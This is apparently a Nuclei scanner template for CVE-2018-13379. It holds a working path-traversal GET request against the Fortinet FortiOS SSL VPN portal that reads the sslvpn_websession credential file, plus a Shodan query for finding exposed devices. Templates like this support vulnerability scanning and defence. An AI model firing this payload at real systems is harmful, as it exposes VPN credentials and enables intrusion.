id: CVE-2018-13379

info:
  name: Fortinet FortiOS - Credentials Disclosure
  author: organiccrap
  severity: critical
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).
  reference:
    - https://fortiguard.com/advisory/FG-IR-18-384
    - https://www.fortiguard.com/psirt/FG-IR-20-233
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-13379
    cwe-id: CWE-22
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
    epss-score: 0.975
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.html:"/remote/login" "xxxxxxxx"
  tags: cve,cve2018,fortios,lfi,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

    matchers:
      - type: regex
        part: body
        regex:
          - '^var fgt_lang ='
# Enhanced by mp on 2022/05/12